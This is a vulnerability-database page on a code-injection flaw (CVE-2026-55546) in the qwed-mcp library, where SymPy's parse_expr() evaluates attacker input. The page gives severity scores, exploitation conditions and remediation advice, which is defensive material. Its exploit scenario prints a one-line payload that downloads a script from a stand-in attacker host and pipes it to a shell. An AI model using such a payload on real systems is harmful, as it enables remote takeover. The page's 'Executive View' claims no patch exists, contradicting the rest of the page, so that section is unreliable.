Skip to main content

QWED-MCP CVE-2026-55546

| EUVDEUVD-2026-65547 CRITICAL
Code Injection (CWE-94)
2026-08-25 GitHub_M GHSA-mw6r-2hvm-4rp2
9.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach integration exposing verify_math_expression()
  2. Delivery
    Submit malicious math expression string
  3. Exploit
    parse_expr() evals payload with builtins
  4. Execution
    __import__('os').system runs OS command
  5. Impact
    RCE as qwed-mcp process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a downstream integration or caller that invokes the public verify_math_expression() library API (in src/qwed_mcp/engines/math_engine.py) with attacker-controlled 'expression' or 'claimed_result' strings - the default MCP tool registry does NOT register this function, so an out-of-the-box qwed-mcp server is not directly exploitable. When such a call path exists, no authentication, special configuration, or user interaction is needed (PR:N/UI:N per CVSS), and any string parsed by SymPy's parse_expr() can carry the payload because Python built-ins remain available. The primary limiting factor is reachability: exploitation is entirely gated on whether an integration forwards untrusted input into this function; affected versions are all releases prior to 0.2.1 (v0.2.0 confirmed).

Impact

The published CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H, 9.8) describes the worst case where the function is directly reachable with untrusted network input, and the impact is genuine full RCE. However, the description and advisory both note a crucial limiter: the default MCP tool registry does NOT expose verify_math_expression(), so exploitation requires a downstream integration that deliberately calls the library API with attacker-controlled data. That materially raises attack complexity in practice and argues against treating the raw 9.8 as universally applicable - reachability is deployment-dependent. No EPSS score was provided, and the vulnerability is not in CISA KEV, so there is no evidence of active in-the-wild exploitation; the signal here is publicly available PoC code (in the GHSA advisory) plus vendor-confirmed container exploitation, not confirmed exploitation campaigns. Net: where a caller does pass untrusted input into this function, the outcome is unauthenticated RCE and should be patched urgently; where the function is unreachable, the effective risk is much lower. Because this is a library-level eval() sink, any operator whose integration forwards user data should treat it as high priority even though the deployment footprint is small.

Exploit ScenarioDerived

A developer builds an MCP integration that exposes qwed-mcp's math-verification capability to end users and passes a user-submitted 'expression' straight to verify_math_expression(). An attacker submits __import__('os').system('curl attacker/x|sh') as the expression, and SymPy's parse_expr() evaluates it, executing the attacker's OS command as the qwed-mcp process user. A working PoC is published in the GHSA advisory, which confirmed root-level command execution inside a Docker container.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 25, 2026

Arbitrary code execution in QWED-MCP before 0.2.1 stems from its verify_math_expression() library function feeding attacker-controlled expression and claimed_result strings into SymPy's parse_expr() with an unrestricted built-in namespace, turning a math-verification routine into a Python eval() sink. Any downstream integration that forwards untrusted input to this public API lets an attacker run OS commands as the qwed-mcp process user (root-level RCE confirmed in a container by the vendor advisory). Publicly available exploit code exists via the GHSA advisory PoC, but this is not listed in CISA KEV; the published CVSS is 9.8 while real reach depends on how the library is wired up.

RemediationAI

Vendor-released patch: 0.2.1 - upgrade the qwed-mcp package to 0.2.1 or later (pip install --upgrade 'qwed-mcp>=0.2.1'), which is the primary and complete fix per the vendor advisory and PR #22 (https://github.com/QWED-AI/qwed-mcp/pull/22, commit 362e618). If you cannot upgrade immediately, stop any downstream integration from routing untrusted input into verify_math_expression(), since the default MCP tool registry does not expose it and removing that call path eliminates the sink at the cost of losing programmatic math-verification; as an additional hardening measure, wrap or replace the parse_expr() call so it runs with global_dict={'__builtins__': {}} and an explicit symbol allowlist, or validate/allowlist the expression AST before evaluation, accepting that overly strict validation may reject legitimate but complex expressions. See GHSA-mw6r-2hvm-4rp2 for details.

Affected VersionsENISA

qwed-mcp < 0.2.1

Affected Packages

pypi qwed-mcp fix: 0.2.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

QWED-MCP is a deterministic verification gateway for the Model Context Protocol (MCP), written in Python. The flaw (CWE-94, Improper Control of Generation of Code / code injection) lives in src/qwed_mcp/engines/math_engine.py, which calls sympy.parsing.sympy_parser.parse_expr() on user strings after only substituting '^' for '**'. SymPy's parse_expr() ultimately invokes Python's eval(); because the code supplies only a local_dict of math symbols (x, y, z, pi, e) and never sets global_dict={'__builtins__': {}}, Python injects the module's full __builtins__, exposing __import__, open, exec, and eval to the parsed expression. There is no allowlist, AST pre-validation, or sandboxing, so an input like __import__('os').system('...') executes. Affected component per CPE is cpe:2.3:a:qwed-ai:qwed-mcp (PyPI package 'qwed-mcp').

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.1 HIGH

Full RCE gives C:H/I:H/A:H and no auth (PR:N), but exploitation depends on a non-default downstream integration exposing the function, so AC:H rather than AC:L.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 25, 2026 - 17:17 EUVD
CVE Published
Aug 25, 2026 - 15:25 cve.org
CRITICAL 9.8

DescriptionCVE.org

QWED-MCP is a deterministic verification gateway for MCP. Prior to 0.2.1, verify_math_expression() in src/qwed_mcp/engines/math_engine.py passes attacker-controlled expression and claimed_result strings directly to SymPy's parse_expr() after only normalizing caret syntax to Python exponent syntax, without restricting global_dict, removing Python built-ins, or validating the expression AST. Because parse_expr() calls Python's eval() with built-ins available, an attacker who can cause a downstream caller to pass untrusted input to this public library function can use Python import functionality to execute arbitrary operating-system commands as the qwed-mcp process user, read or modify accessible data, exfiltrate process secrets, or reach internal services. The default MCP tool registry does not expose verify_math_expression(), so exploitation requires a downstream integration that invokes the library API with attacker-controlled input. This issue is fixed in version 0.2.1.

Executive ViewAI

Why It Matters

QWED-MCP library before version 0.2.1 contains a critical remote code execution vulnerability that enables arbitrary code execution with root-level privileges on any system integrating this library. Organizations using QWED-MCP in production environments face immediate risk of complete system compromise, with no vendor patch currently available.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) disable QWED-MCP library functions if not operationally critical, (2) implement strict input validation and sanitization to prevent untrusted expression strings from reaching verify_math_expression(), (3) enforce minimal-privilege execution (do not run affected services as root), (4) network-isolate affected systems from perimeter and sensitive internal assets, (5) enable comprehensive logging and alerting on math-verification function calls to detect exploitation attempts.

Threat Intelligence Overview

EPSS Score
0.4%
Top 66% exploitable
Prevalence
Rare
niche new MCP verification gateway, minimal real-world production footprint
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

69
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy